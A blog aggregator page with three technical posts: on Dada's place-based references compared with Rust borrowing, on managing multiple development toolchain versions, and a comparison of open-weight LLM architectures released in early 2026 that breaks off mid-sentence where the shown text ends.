Posts in Java (20 found)
baby steps 3 days ago

How Dada enables internal references

In my previous Dada blog post, I talked about how Dada enables composable sharing. Today I’m going to start diving into Dada’s permission system; permissions are Dada’s equivalent to Rust’s borrow checker. Dada aims to exceed Rust’s capabilities by using place-based permissions. Dada lets you write functions and types that capture both a value and things borrowed from that value . As a fun example, imagine you are writing some Rust code to process a comma-separated list, just looking for entries of length 5 or more: One of the cool things about Rust is how this code looks a lot like some high-level language like Python or JavaScript, but in those languages the call is going to be doing a lot of work, since it will have to allocate tons of small strings, copying out the data. But in Rust the values are just pointers into the original string and so is very cheap. I love this. On the other hand, suppose you want to package up some of those values, along with the backing string, and send them to another thread to be processed. You might think you can just make a struct like so… …and then create the list and items and store them into it: But as experienced Rustaceans know, this will not work. When you have borrowed data like an , that data cannot be moved. If you want to handle a case like this, you need to convert from into sending indices, owned strings, or some other solution. Argh! Dada does things a bit differently. The first thing is that, when you create a reference, the resulting type names the place that the data was borrowed from , not the lifetime of the reference . So the type annotation for would say 1 (at least, if you wanted to write out the full details rather than leaving it to the type inferencer): I’ve blogged before about how I would like to redefine lifetimes in Rust to be places as I feel that a type like is much easier to teach and explain: instead of having to explain that a lifetime references some part of the code, or what have you, you can say that “this is a that references the variable ”. But what’s also cool is that named places open the door to more flexible borrows. In Dada, if you wanted to package up the list and the items, you could build a type like so: Note that last line – . We can create a new class and move into it along with , which borrows from list. Neat, right? OK, so let’s back up and talk about how this all works. Let’s start with syntax. Before we tackle the example, I want to go back to the example from previous posts, because it’s a bit easier for explanatory purposes. Here is some Rust code that declares a struct , creates an owned copy of it, and then gets a few references into it. The Dada equivalent to this code is as follows: The first thing to note is that, in Dada, the default when you name a variable or a place is to create a reference. So doesn’t move , as it would in Rust, it creates a reference to the stored in . You could also explicitly write , but that is not preferred. Similarly, creates a reference to the value in the field . (If you wanted to move the character, you would write , not as in Rust.) Notice that I said “creates a reference to the stored in ”. In particular, I did not say “creates a reference to ”. That’s a subtle choice of wording, but it has big implications. The reason I wrote that “creates a reference to the stored in ” and not “creates a reference to ” is because, in Dada, references are not pointers . Rather, they are shallow copies of the value, very much like how we saw in the previous post that a acts like an but is represented as a shallow copy. So where in Rust the following code… …looks like this in memory… in Dada, code like this would look like so Clearly, the Dada representation takes up more memory on the stack. But note that it doesn’t duplicate the memory in the heap, which tends to be where the vast majority of the data is found. This gets at something important. Rust, like C, makes pointers first-class. So given , refers to the pointer and refers to its referent, the . Dada, like Java, goes another way. is a value – including in memory representation! The difference between a , , and is not in their memory layout, all of them are the same, but they differ in whether they own their contents . 2 So in Dada, there is no operation to go from “pointer” to “referent”. That doesn’t make sense. Your variable always contains a string, but the permissions you have to use that string will change. In fact, the goal is that people don’t have to learn the memory representation as they learn Dada, you are supposed to be able to think of Dada variables as if they were all objects on the heap, just like in Java or Python, even though in fact they are stored on the stack. 3 In Rust, you cannot move values while they are borrowed. So if you have code like this that moves into … …then this code only compiles if is not used again: There are two reasons that Rust forbids moves of borrowed data: Neither of these apply to Dada: OK, let’s revisit that Rust example that was giving us an error. When we convert it to Dada, we find that it type checks just fine: Woah, neat! We can see that when we move from into , the compiler updates the types of the variables around it. So actually the type of changes to . And then when we move from to , that’s totally valid. In PL land, updating the type of a variable from one thing to another is called a “strong update”. Obviously things can get a bit complicated when control-flow is involved, e.g., in a situation like this: OK, let’s take the next step. Let’s define a Dada function that takes an owned value and another value borrowed from it, like the name, and then call it: We could call this function like so, as you might expect: So…how does this work? Internally, the type checker type-checks a function call by creating a simpler snippet of code, essentially, and then type-checking that . It’s like desugaring but only at type-check time. In this simpler snippet, there are a series of statements to create temporary variables for each argument. These temporaries always have an explicit type taken from the method signature, and they are initialized with the values of each argument: If this type checks, then the type checker knows you have supplied values of the required types, and so this is a valid call. Of course there are a few more steps, but that’s the basic idea. Notice what happens if you supply data borrowed from the wrong place: This will fail to type check because you get: So now, if we go all the way back to our original example, we can see how the example worked: Basically, when you construct a , that’s “just another function call” from the type system’s perspective, except that in the signature is handled carefully. I should be clear, this system is modeled in the dada-model repository, which implements a kind of “mini Dada” that captures what I believe to be the most interesting bits. I’m working on fleshing out that model a bit more, but it’s got most of what I showed you here. 5 For example, here is a test that you get an error when you give a reference to the wrong value. The “real implementation” is lagging quite a bit, and doesn’t really handle the interesting bits yet. Scaling it up from model to real implementation involves solving type inference and some other thorny challenges, and I haven’t gotten there yet – though I have some pretty interesting experiments going on there too, in terms of the compiler architecture. 6 I believe we could apply most of this system to Rust. Obviously we’d have to rework the borrow checker to be based on places, but that’s the straight-forward part. The harder bit is the fact that is a pointer in Rust, and that we cannot readily change. However, for many use cases of self-references, this isn’t as important as it sounds. Often, the data you wish to reference is living in the heap, and so the pointer isn’t actually invalidated when the original value is moved. Consider our opening example. You might imagine Rust allowing something like this in Rust: In this case, the data is heap-allocated, so moving the string doesn’t actually invalidate the value (it would invalidate an value, interestingly). In Rust today, the compiler doesn’t know all the details of what’s going on. has a impl and so it’s quite opaque whether is heap-allocated or not. But we are working on various changes to this system in the Beyond the goal, most notably the Field Projections work. There is likely some opportunity to address this in that context, though to be honest I’m behind in catching up on the details. I’ll note in passing that Dada unifies and into one type as well. I’ll talk in detail about how that works in a future blog post.  ↩︎ This is kind of like C++ references (e.g., ), which also act “as if” they were a value (i.e., you write , not ), but a C++ reference is truly a pointer, unlike a Dada ref.  ↩︎ This goal was in part inspired by a conversation I had early on within Amazon, where a (quite experienced) developer told me, “It took me months to understand what variables are in Rust”.  ↩︎ I explained this some years back in a talk on Polonius at Rust Belt Rust , if you’d like more detail.  ↩︎ No closures or iterator chains!  ↩︎ As a teaser, I’m building it in async Rust, where each inference variable is a “future” and use “await” to find out when other parts of the code might have added constraints.  ↩︎ References are pointers, so those pointers may become invalidated. In the example above, points to the stack slot for , so if were to be moved into , that makes the reference invalid. The type system would lose track of things. Internally, the Rust borrow checker has a kind of “indirection”. It knows that is borrowed for some span of the code (a “lifetime”), and it knows that the lifetime in the type of is related to that lifetime, but it doesn’t really know that is borrowed from in particular. 4 Because references are not pointers into the stack, but rather shallow copies, moving the borrowed value doesn’t invalidate their contents. They remain valid. Because Dada’s types reference actual variable names, we can modify them to reflect moves. I’ll note in passing that Dada unifies and into one type as well. I’ll talk in detail about how that works in a future blog post.  ↩︎ This is kind of like C++ references (e.g., ), which also act “as if” they were a value (i.e., you write , not ), but a C++ reference is truly a pointer, unlike a Dada ref.  ↩︎ This goal was in part inspired by a conversation I had early on within Amazon, where a (quite experienced) developer told me, “It took me months to understand what variables are in Rust”.  ↩︎ I explained this some years back in a talk on Polonius at Rust Belt Rust , if you’d like more detail.  ↩︎ No closures or iterator chains!  ↩︎ As a teaser, I’m building it in async Rust, where each inference variable is a “future” and use “await” to find out when other parts of the code might have added constraints.  ↩︎

0 views
Brain Baking 3 days ago

Managing Multiple Development Ecosystem Installs

In the past year, I occasionally required another Java Development Kit besides the usual one defined in to build certain modules against older versions and certain modules against bleeding edge versions. In the Java world, that’s rather trivial thanks to IntelliJ’s project settings: you can just interactively click through a few panels to install another JDK flavour and get on with your life. The problem starts once you close IntelliJ and want to do some command line work. Luckily, SDKMan , the “The Software Development Kit Manager”, has got you covered. Want to temporarily change the Java compiler for the current session? . Want to change the default? . Easy! will point to , a symlink that gets rewired by SDKMan. A Java project still needs a dependency management system such as Gradle, but you don’t need to install a global specific Gradle version. Instead, just points to the jar living at . Want another one? Change the version number in and it’ll be auto-downloaded. Using Maven instead? Tough luck! Just kidding: don’t use but , the Maven Wrapper that works exactly the same. .NET comes with built-in support to change the toolchain (and specify the runtime target), more or less equal to a typical Gradle project. Actually, the command can both build list its own installed toolchains: . Yet installing a new one is done by hand. You switch toolchains by specifying the SDK version in a global.json file and tell the compiler to target a runtime in the file. In Python , the concept of virtual environments should solve that problem: each project creates its own that points to a specific version of Python. Yet I never really enjoyed working with this system: you’ve got , , , , , … That confusing mess is solved with a relatively new kid in town: uv , “An extremely fast Python package and project manager, written in Rust.” It’s more than as it also manages your multiple development ecosystems. Want to install a new Python distribution? . Want to temporarily change the Python binary for the current session? . Creating a new project with will also create a virtual environment, meaning you don’t run your stuff with but with that auto-selects the correct version. Lovely! What about JS/TS and Node ? Of course there the options are many: there’s nvm —but that’s been semi-abandoned ?—and of course someone built a Rust-alternative called fnm , but you can also manage Node versions with . I personally don’t care and use instead, which is aimed at not managing but replacing the Node JS runtime. But who will manage the bun versions? PHP is more troublesome because it’s tied to a web server. Solutions such as Laravel Nerd combine both PHP and web server dependency management into a sleek looking tool that’s “free”. Of course you can let your OS-system package manager manage your SDK packages: and then . That definitely feels a bit more hacky. For PHP, I’d even consider Mise. Speaking of which… Why use a tool that limits the scope to one specific development environment? If you’re a full-stack developer you’ll still need to know how to manage both your backend and frontend dev environment. That’s not needed with Mise-en-place , a tool that manages all these things . Asdf is another popular one that manages any development environment that doesn’t have its own dedicated tool. I personally think that’s an extraction layer too far. You’ll still need to dissect these tools separately in case things go wrong. Some ecosystems come with built-in multi-toolkit support, such as Go : simply installs into your directory 1 . That means you’ve installed the compiler (!) in exactly the same way as any other (global) dependency, how cool is that? The downside of this is that you’ll have to remember to type instead of so there’s no symlink rewiring involved. or can do that—or the above Mise. But wait, I hear you think, why not just use containers to isolate everything? Spinning up containers to build in an isolated environment: sure, that’s standard practice in continuous integration servers, but locally? Really? Really. Since the inception of Dev Containers by Microsoft, specifically designed for VS Code, working “inside” a container is as easy as opening up the project and “jumping inside the container”. From that moment on, your terminal, IntelliSense, … runs inside that container. That means you won’t have to wrestle Node/PHP versions on your local machine, and you can even use the same container to build your stuff on the CI server. That also means your newly onboarded juniors don’t need to wrestle through a week of “installing stuff”. Microsoft open sourced the Dev Container specification and the JetBrains folks jumped the gun: it has support for but I have yet to try it out. Of course the purpose was to integrate this into GitHub: their cloud-based IDE Codespaces makes heavy use of the idea—and yes, there’s an open-source alternative . Is there Emacs support for Dev Containers? Well, Tramp allows you to remotely open and edit any file, also inside a container . So just install the Dev Container CLI, run it and point Emacs to a source file inside it. From then on, everything Emacs does—including the LSP server, compilation, …—happens inside that container. That means you’ll also have to install your LSP binaries in there. devcontainer.el just wraps complication commands to execute inside the container whilst still letting you edit everything locally in case you prefer a hybrid approach. And then there’s Nix and devenv . Whatever that does, it goes way over my head! You’ll still have to execute after that.  ↩︎ Related topics: / containers / By Wouter Groeneveld on 26 February 2026.  Reply via email . You’ll still have to execute after that.  ↩︎

0 views
Ahead of AI 4 days ago

A Dream of Spring for Open-Weight LLMs: 10 Architectures from Jan-Feb 2026

If you have struggled a bit to keep up with open-weight model releases this month, this article should catch you up on the main themes. In this article, I will walk you through the ten main releases in chronological order, with a focus on the architecture similarities and differences: Arcee AI’s Trinity Large (Jan 27, 2026) Moonshot AI’s Kimi K2.5 (Jan 27, 2026) StepFun Step 3.5 Flash (Feb 1, 2026) Qwen3-Coder-Next (Feb 3, 2026) z.AI’s GLM-5 (Feb 12, 2026) MiniMax M2.5 (Feb 12, 2026) Nanbeige 4.1 3B (Feb 13, 2026) Qwen 3.5 (Feb 15, 2026) Ant Group’s Ling 2.5 1T & Ring 2.5 1T (Feb 16, 2026) Cohere’s Tiny Aya (Feb 17, 2026) (PS: DeepSeek V4 will be added once released.) Since there’s a lot of ground to cover, I will be referencing my previous The Big LLM Architecture Comparison article for certain technical topics (like Mixture-of-Experts, QK-Norm, Multi-head Latent Attention, etc.) throughout this article for background information to avoid redundancy in this article. On January 27, Arcee AI (a company I hadn’t had on my radar up to then) began releasing versions of their open-weight 400B Trinity Large LLMs on the model hub , along with two smaller variants: Their flagship large model is a 400B param Mixture-of-Experts (MoE) with 13B active parameters. The two smaller variants are Trinity Mini (26B with 3B active parameters) and Trinity Nano (6B with 1B active parameters). Figure 1: Overview of the Trinity Large architecture (based on the model hub config file ). Along with the model weights, Arcee AI also released a nice technical report on GitHub (as of Feb 18 also on arxiv ) with lots of details. So, let’s take a closer look at the 400B flagship model. Figure 2 below compares it to z.AI’s GLM-4.5 , which is perhaps the most similar model due to its size with 355B parameters. Figure 2: Arcee AI Trinity Large next to GLM-4.5 of a relatively similar size (400B vs 355B). As we can see in the Trinity and GLM-4.5 comparison, there are several interesting architectural components added to the Trinity model. First, there are the alternating local:global (sliding window) attention layers (SWA) like in Gemma 3, Olmo 3, Xiaomi MiMo, etc. In short, SWA is a type of sparse (local) attention pattern where each token attends only to a fixed-size window of t recent tokens (for example, 4096) instead of attending to the entire input (which could be up to n=256,000 tokens). This reduces the per-layer regular attention cost from O( n ²) to roughly O( n · t ) for sequence length n , which is why it is attractive for long-context models. Figure 3: A comparison between regular attention (global attention) and sliding window attention (local attention). But instead of using the common 5:1 local:global ratio that Gemma 3 and Xiaomi used, the Arcee team opted for a 3:1 ratio similar to Olmo 3, and a relatively large sliding window size of 4096 (also similar to Olmo 3). The architecture also uses QK-Norm , which is a technique that applies RMSNorm to the keys and queries to stabilize training (as shown in Figure 4 below), as well as no positional embeddings ( NoPE ) in the global attention layers similar to SmolLM3 . Trinity also has a form of gated attention. It’s not a full-blown Gated DeltaNet but it uses a similar gating as in the attention mechanism in Qwen3-Next . I.e., the Trinity team modified the standard attention by adding elementwise gating to the scaled dot-product before the output linear projection (as shown in the figure below), which reduces attention sinks and improves long-sequence generalization. Additionally, it also helped with training stability. Figure 4: Illustration of the gating mechanism that Trinity Large uses in the attention mechanism. Also, the Trinity technical report showed that the modeling performance of the Trinity Large and GLM-4.5 base models are practically identical (I assume they didn’t compare it to more recent base models because many companies only share their fine-tuned models these days.) You may have noticed the use of four (instead of two) RMSNorm layers in the previous Trinity Large architecture figure which looks similar to Gemma 3 at first glance. Figure 5: Arcee Trinity and Gemma 3 RMSNorm placement side by side. Overall, the RMSNorm placement looks like a Gemma 3-like RMSNorm placement, but the twist here is that the gain of the second RMSNorm (in each block) is depth-scaled, meaning it’s initialized to about 1 / sqrt(L) (with L the total number of layers). So, early in training, the residual update starts small and grows as the model learns the right scale. Figure 6: Arcee Trinity and DeepSeek V3/R1 MoE side by side. The MoE is a DeepSeek-like MoE with lots of small experts, but made it coarser as that helps with inference throughput (something we have also seen in Mistral 3 Large when they adopted the DeepSeek V3 architecture). Lastly, there are some interesting details on the training improvements (a new MoE load-balancing strategy and another using the MuOpt optimizer), but since this is a mainly an architecture article (and there are many more open-weight LLMs to cover), these details are out of scope. While Arcee Trinity essentially matched the modeling performance of the older GLM-4.5 model, Kimi K2.5 is an open-weight model that set a new open-weight performance ceiling at the time of its release on Jan 27. ​Impressively, according to their own benchmarks in their detailed technical report , it was on par with the leading proprietary models at the time of its release. Figure 7: Kimi K2.5 performance benchmark from the official K2.5 technical report . The good modeling performance is no surprise when compared to, e.g., Arcee Trinity or GLM-4.5 covered earlier, since (similar to its K2 predecessor), Kimi K2.5 is a 1-trillion-parameter model and thus 2.5x larger than Trinity and 2.8x larger than GLM-4.5. Overall, the Kimi K2.5 architecture is similar to Kimi K2, which, in turn, is a scaled-up version of the DeepSeek V3 architecture. Figure 8: Kimi K2 is a larger version of the DeepSeek V3 architecture. However, K2 was a pure text model, and Kimi K2.5 is now a multimodal model with vision support. To quote from the technical report: ​> Kimi K2.5 is a native multimodal model built upon Kimi K2 through large-scale joint pre-training on approximately 15 trillion mixed visual and text tokens. During the training, they adopted an early fusion approach and passed in the vision tokens early on alongside the text tokens, as I discussed in my older Understanding Multimodal LLMs article. Figure 9: Like most other contemporary multimodal LLMs, Kimi K2.5 uses method A, passing the vision tokens alongside the text tokens during training. Side note: In multimodal papers, “early fusion” is unfortunately overloaded. It can mean either 1. When the model sees vision tokens during pre-training. I.e., vision tokens are mixed in from the start (or very early) of pre-training as opposed to later stages. 2. How the image tokens are combined in the model. I.e., they are fed as embedded tokens alongside the text tokens. In this case, while the term “early fusion” in the report specifically refers to point 1 (when the vision tokens are provided during pre-training), point 2 is also true here. Furthermore, regarding point 1, the researchers included an interesting ablation study showing that the model benefits from seeing vision tokens early in pre-training, as shown in the annotated table below. Figure 10: Given a fixed number of vision tokens during training, the model performance benefits if the model is shown a smaller number of vision tokens early on during pre-training (as opposed to adding a higher number of vision tokens later on). Annotated table from the Kimi K2.5 technical report . I have to admit that I haven’t had the Step models on my radar yet. This one caught my attention due to its interesting size, detailed technical report , and fast tokens/sec performance. Step 3.5 Flash is a 196B parameter model that is more than 3x smaller than the recent DeepSeek V3.2 model (671B) while being slightly ahead in modeling performance benchmarks. According to the Step team, Step 3.5 Flash has a 100 tokens/sec throughput at a 128k context length, whereas DeepSeek V3.2 has only a 33 tokens/sec throughput on Hopper GPUs, according to the data on the Step model hub page . Figure 11: Step 3.5 Flash benchmark from the Step technical report . One reason for this higher performance is the model’s smaller size (196B-parameter MoE with 11B parameters active per token versus 671B-parameter MoE with 37B parameters active), as shown in the figure below. Figure 12: Step 3.5 Flash and DeepSeek V3.2 side by side. The other reason along with gated attention (which we previously discussed in the context of Trinity) is Multi-Token Prediction (MTP) . DeepSeek has been an early adopter of multi-token prediction, a technique that trains the LLM to predict multiple future tokens at each step, rather than a single one. Here, at each position t, small extra heads (linear layers) output logits for t+1...t+k, and we sum cross-entropy losses for these offsets (in the MTP paper, the researchers recommended k=4). This additional signal speeds up training, and inference may remain at generating one token at a time, as illustrated in the figure below. Figure 13: Multi-Token Prediction versus regular next token prediction. (Left subfigure inspired by the MTP paper .) Originally, MTP was only used during training, not inference; hence, the inference time steps (bottom) show a single next-token prediction. DeepSeek V3 reported using MTP-1, that is, MTP with 1 extra token (instead of 3) during training, and then making MTP optional during inference. Step 3.5 Flash uses MTP with 3 additional tokens (MTP-3) during both training and inference (note that MTP is usually not used during inference, and this is an exception). ​Note that the previously discussed Arcee Trinity and Kimi K2.5 do not use MTP, but other architectures already use an MTP-3 setup similar to Step 3.5 Flash, for example, GLM-4.7 and MiniMax M2.1. In early February 2026, the Qwen3 team shared the 80B Qwen3-Coder-Next model (3B parameters active), which made big headlines for outperforming much larger models like DeepSeek V3.2 (37B active) and Kimi K2.5 and GLM-4.7 (both 32B active) on coding tasks. Figure 14: Qwen3-Coder-Next performance on a coding benchmark next to other popular coding models; this figure appeared in the official technical report . Moreover, as shown in the benchmark figure above, the Qwen3-Coder-Next SWE-Bench Pro performance is roughly on par with Claude Sonnet 4.5 (and only slightly below Claude Opus 4.5), which is impressive for a relatively small open-weight model! Using the ollama version of Qwen3-Coder-Next locally, the model takes about 48.2 GB of storage space and 51 GB of RAM. Figure 15: Running Qwen3-Coder-Next locally. Note that the architecture behind Qwen3-Coder-Next is exactly the same as Qwen3-Next 80B (in fact, the pre-trained Qwen3-Next 80B is used as a base model for further mid- and post-training). Figure 16 below shows the Qwen3-Next architecture next to a regular Qwen3 235B model for reference. Figure 16: Qwen3-Coder-Next 80B (3B parameters active per token) and the 3x larger Qwen3 235B-A22B architecture. The new Qwen3 Next architecture stands out because, despite being 3x smaller than the previous 235B-A22B model, it introduces four times as many experts and even adds a shared expert. Both of these design choices (a high expert count and the inclusion of a shared expert). ​The other highlight is that they replace the regular attention mechanism with a Gated DeltaNet + Gated Attention hybrid, which helps enable the native 262k token context length in terms of memory usage (the 235B-A22B model supported 32k natively and 131k with YaRN scaling). ​So how does this new attention hybrid work? Compared to grouped‑query attention (GQA), which is still standard scaled dot‑product attention (sharing K/V across query‑head groups to cut KV‑cache size and memory bandwidth as discussed earlier, but whose decode cost and cache still grow with sequence length), their hybrid mechanism mixes Gated DeltaNet blocks with Gated Attention blocks in a 3:1 ratio as shown in Figure 17. Figure 17: The Qwen3-Coder-Next attention hybrid setup. We can think of the gated attention block as standard scaled-dot-product attention used in GQA, with a few tweaks on top. The main differences between gated attention and plain GQA block are: an output gate (sigmoid-controlled, usually per-channel) that scales the attention result before it is added back to the residual; zero-centered RMSNorm for QKNorm, rather than a standard RMSNorm; partial RoPE (on a subset of dimensions). Note that these are essentially just stability changes to GQA. The Gated DeltaNet is a more significant change. In the DeltaNet block, q, k, v, and two gates (α, β) are produced by linear and lightweight convolutional layers with normalization, and the layer replaces attention with a fast‑weight delta rule update. However, the tradeoff is that DeltaNet offers less precise content‑based retrieval than full attention, which is why one gated attention layer remains. Given that attention grows quadratically, the DeltaNet component was added to help with memory efficiency. In the “linear-time, cache-free” family, the DeltaNet block is essentially an alternative to Mamba. Mamba keeps a state with a learned state-space filter (essentially a dynamic convolution over time). DeltaNet keeps a tiny, fast-weight memory updated with α and β, and reads it with q, using small convolutions only to help form q, k, v, α, β. For more details on the attention hybrid and Qwen3-Next architecture, please see my previous article Beyond Standard LLMs . ​Since this article is primarily focused on LLM architectures, the training details are outside its scope. However, interested readers can find more information in their detailed technical report on GitHub. The GLM-5 release on February 12th was a big deal, because at the time of its release it appeared to be on par with the major flagship LLM offerings, including GPT-5.2 extra-high, Gemini Pro 3, and Claude 4.6 Opus. (That said, benchmark performance does not necessarily translate to real-world performance.) Figure 18: GLM-5 architecture next to its GLM-4.7 predecessor. Benchmarks at the bottom taken from the official GLM-5 technical report . Not too long ago, GLM-4.7 (December 2025) was one of the strongest open-weight models. GLM-5 shows a major modeling performance improvement based on the benchmark shown in Figure 18 above. That jump is likely partly due to improvements to the training pipeline, but likely largely attributed to its 2x larger parameter count from 355B parameters in GLM-4.7 to 744B parameters in GLM-5. This size increase now places GLM-5 between DeepSeek V3.2 (671B) and Kimi K2.5 (1T) in terms of scale. Comparing the benchmark numbers of the previously discussed Kimi K2.5 (1T), the smaller GLM-5 (744B) model seems slightly ahead, as shown in the table below. Figure 19: GLM-5 (744B) and Kimi K2.5 (1T) benchmark performance side by side (larger is better). Like GLM-4.7, all the other models discussed so far, GLM-5 is a Mixture-of-Experts model. The number of active parameters per token increases only slightly, from 32B in GLM-4.7 to 40B in GLM-5. As shown in Figure 20 below, GLM-5 now adopts DeepSeek’s multi-head latent attention as well as DeepSeek Sparse Attention. (I described DeepSeek Sparse Attention in more detail in From DeepSeek V3 to V3.2: Architecture, Sparse Attention, and RL Updates .) These modifications are likely intended to reduce inference costs when working with long contexts. Otherwise, the overall architecture remains relatively similar. Figure 20: GLM-5 and DeepSeek V3.2 side by side (two similar architectures at a similar size). The increase in total size over GLM-4.7 mainly comes from expanding the number of experts, from 160 (GLM-4.7) to 256 (GLM-5), and slightly increasing layer dimensions (while keeping the number of experts the same at 8 regular + 1 shared expert per token). For example, the embedding dimension and expert size increase from 5,120 to 6,144, and the intermediate projection size rises from 1,536 to 2,048. Interestingly, the number of transformer layers is reduced from 92 in GLM-4.7 to 78 in GLM-5. I assume this change is also intended to reduce inference costs and improve latency, since layer depth cannot be parallelized in the same way as width. Additionally, I also checked an independent benchmark (here, the hallucination leaderboard ), and it indeed looks like GLM-5 is on par with Opus 4.5 and GPT-5.2 (while using fewer tokens). Figure 21: Next to the overall benchmark performance, this table adds hallucination rates from the hallucination leaderboard . Furthermore, looking at the most recent Artificial Intelligence Index, which aggregates various benchmarks, GLM-5 is indeed slightly ahead of Kimi K2.5 and only one point behind GPT-5.2 (xhigh) and the recent Claude Sonnet 4.6. Figure 22: Artificial Intelligence Index snapshot from Feb 21, 2026. The aforementioned GLM-5 and Kimi K2.5 are popular open-weight models, but according to OpenRouter statistics , they pale in comparison to MiniMax M2.5 , which was released on February 12 as well. Figure 23: OpenRouter usage snapshot from Feb 21, 2026. OpenRouter is a platform and API that lets developers access and route requests across many different LLMs from various providers. Note that while its usage statistics are a good indicator of open-weight model popularity, it’s heavily biased towards open-weight models (versus proprietary models), since most users use proprietary models through the official platform directly. There is also usage bias across open-weight models, since many people also use open-weight models through the official developers’ APIs. Anyways, it can still be an interesting place to guesstimate the relative popularity of open-weight models that are too large to run locally for most users. Now, back to MiniMax M2.5. Pulling together the GLM-5 data from the SWE-Bench Verified coding benchmark and combining it with the reported MiniMax M2.5, the latter appears to be a slightly stronger model (at least when it comes to coding). Figure 24: MiniMax M2.5 coding performance on SWE-Bench Verified​ Side note: It’s interesting to see Opus 4.5 and Opus 4.6 practically scoring identically on SWE-Bench Verified. This can be an indicator that LLM progress has stalled. I don’t think that’s true, though, given that users of Opus 4.6 can confirm that this model does seem to perform better in real-world usage. So, the more likely issue here is that the SWE-Bench Verified benchmark has saturated, and it may no longer be a meaningful benchmark to report from now on (in favor of other benchmarks like SWE-Bench Pro, for example). With saturated, I mean that it potentially contains unsolvable problems due to design issues (as discussed in a recent Reddit thread and the new “ Why SWE-bench Verified no longer measures frontier coding capabilities “ article by OpenAI). Anyways, back to the topic of MiniMax M2.5 performance. Looking across a broader selection of benchmarks, according to the Artificial Intelligence Index aggregation, GLM-5 remains ahead. This is perhaps no surprise because GLM-5 is still a 4x larger model than M2.5, even though the tokens/sec throughput is quite similar. Figure 25: GLM-5 vs MiniMax M2.5 comparison based on the Artificial Intelligence Index (Feb 21, 2026) I think MiniMax M2.5’s popularity is partly owed to the fact that it is a smaller, cheaper model with roughly similar modeling performance (i.e., a good bang for the buck). Architecture-wise, MiniMax M2.5 is a 230B model with a fairly classic design: just plain Grouped Query Attention, no sliding window attention or other efficiency improvements. Figure 26: MiniMax M2.5 next to GLM-5. So far, this is also the first architecture in this report that doesn’t come with a detailed technical report, but you can find additional information on the model hub page . In this section, we are switching gears and finally covering a smaller model that can run locally on a laptop. But first let’s start with some context before we get to Nanbeige 4.1 3B . Qwen models have always been very popular models. I often tell the story that when I was an advisor during the NeurIPS LLM efficiency challenge a few years back, most of the winning solutions were based on a Qwen model. ​Now, Qwen3 is likely among the most widely used open-weight model suite since they cover such a wide range of sizes and use cases (from 0.6B to 235B) Especially the smaller models (80B and less, like Qwen3-Next, covered previously) are great for local use on consumer hardware. Figure 27: Relative adoption popularity of open-weight models. Note that this shows the number of models on the Hugging Face model hub that are finetuned using one of those models as a base model. (This is not the number of people who use the models on their computer locally, which would be a number impossible to know.) Source: Atom Project .​ Why I am mentioning all this is that Nanbeige 4.1 3B seems to target the “small” LLM on-device use case that Qwen3 is so popular for. According to the Nanbeige 4.1 3B benchmarks, their model is way ahead of Qwen3 (perhaps no surprise, given that Qwen3 is almost a year old). Figure 28: Nanbeige 4.1 3B benchmark comparison with Qwen3 (Source: Nanbeige 4.1 3B model hub page ). Architecture-wise, Nanbeige 4.1 3B is similar to Qwen3 4B, which is, in turn, very similar to Llama 3.2 3B. I am showing Nanbeige 4.1 3B next to Llama 3.2 3B below because it is the most similar in size. Figure 29: Nanbeige 4.1 3B next to Llama 3.2 3B. Nanbeige 4.1 3B uses the same architectural components as Llama 3.2 3B, with some minor scaling differences (slightly smaller embedding dimensions and larger intermediate projections, and so on). The one difference not shown in the figure above is that Nanbeige does not tie the input embedding weights to the output layer weights, whereas Llama 3.2 3B does. (In my experience, weight tying is a nice way to reduce the total number of parameters, but it almost always results in worse training performance as evidenced by higher training and validation losses.) ​As mentioned before, this article focuses primarily on the architecture comparisons. And in this case, most of the performance gains (compared to the Nanbeige 4 3B predecessor) come from additional post-training with supervised fine-tuning and reinforcement learning, but interested readers can find more information in the detailed technical report . While the previous section briefly covered Qwen3 as the most open-weight model family, it is getting a bit long in the tooth as its release is almost a year ago (if we don’t count the Qwen3-Next variants geared towards efficiency). However, the Qwen team just released a new Qwen3.5 model variant on February 15. Qwen3.5 397B-A17B, a Mixture-of-Experts (MoE) with 397B parameters (17B active per token), is a step up from the largest Qwen3 model, which is 235B parameters in size. (There is also the 1 trillion-parameter Qwen3-Max model, but it was never released as an open-weight model.) The obligatory benchmark overview shows that Qwen3.5 exceeds the previous Qwen3-Max model across the board, with a much stronger focus on agentic terminal coding applications (the main theme this year). Qwen3.5 appears to be roughly on par with GLM-5 and MiniMax M2.5 in terms of pure agentic coding performance (e.g., SWE-Bench Verified).​ Figure 30: Qwen3.5 benchmark overview from the official model hub page . Since the Qwen team likes to release a separate coding model (e.g., see Qwen3-Coder-Next, which we discussed previously), this makes me curious to see how a potential Qwen3.5-Coder will perform. Architecture-wise, Qwen3.5 adopts the hybrid attention model (featuring Gated DeltaNet) that Qwen3-Next and Qwen3-Coder-Next (section 4) used. This is interesting because Qwen3-Next models were initially an alternative to the full-attention Qwen3 models, but this suggests that the Qwen team has now adopted the hybrid attention mechanism into its main line of models. Figure 31: Comparison between Qwen3.5 and the Qwen3(-Coder)-Next architectures.​ Besides scaling up the model size, as shown in the figure above, Qwen3.5 now also includes multimodal support (previously, it was only available in separate Qwen3-VL models). Anyways, Qwen3.5 is a nice refresh of the Qwen series, and I hope that we will see smaller Qwen3.5 variants in the future, too! Edit: Just as I finalized this article, the Qwen team launched said smaller model variants: Qwen3.5-27B Qwen3.5-35B-A3B Qwen3.5-122B-A10B Ling 2.5 (and the reasoning variant Ring 2.5 ) are 1-trillion-parameter LLMs with a hybrid attention architecture in a similar spirit to Qwen3.5 and Qwen3-Next. However, instead of Gated DeltaNet, they use a slightly simpler recurrent linear attention variant called Lightning Attention. In addition, Ling 2.5 adopts the Multi-Head Latent Attention (MLA) mechanism from DeepSeek. Figure 32: Ling 2.5 compared to Qwen3.5; both architectures are linear attention hybrids. Ling 2.5 is not the strongest model in terms of absolute benchmark performance, but its selling point is very good efficiency in long contexts (due to the hybrid attention). Unfortunately, there are no direct comparisons to Qwen3.5, but compared to Kimi K2 (1T parameters; the same size as Ling 2.5), Ling 2.5 achieves a 3.5x higher throughput at a sequence length of 32k tokens. Figure 33: Relative throughput of Ling 2.5 compared to Kimi K2 (same 1 trillion parameter size); note that the throughput is normalized so that Kimi K2 is shown at 1x (Kimi’s throughput is not linear even though it appears linear in this plot). Source: Ling 2.5 model hub page . Released on February 17, Tiny Aya is a new, “small” LLM by Cohere that is said to be the “most capable multilingual open-weight model” at the 3B parameter size class. (Tiny Aya outperforms Qwen3-4B, Gemma 3 4B, and Ministral 3 3B according to the announcement post ). This is a great model to run and experiment with locally. The only caveat is that while it’s an open-weight model, its licensing terms are relatively restricted and only allow non-commercial 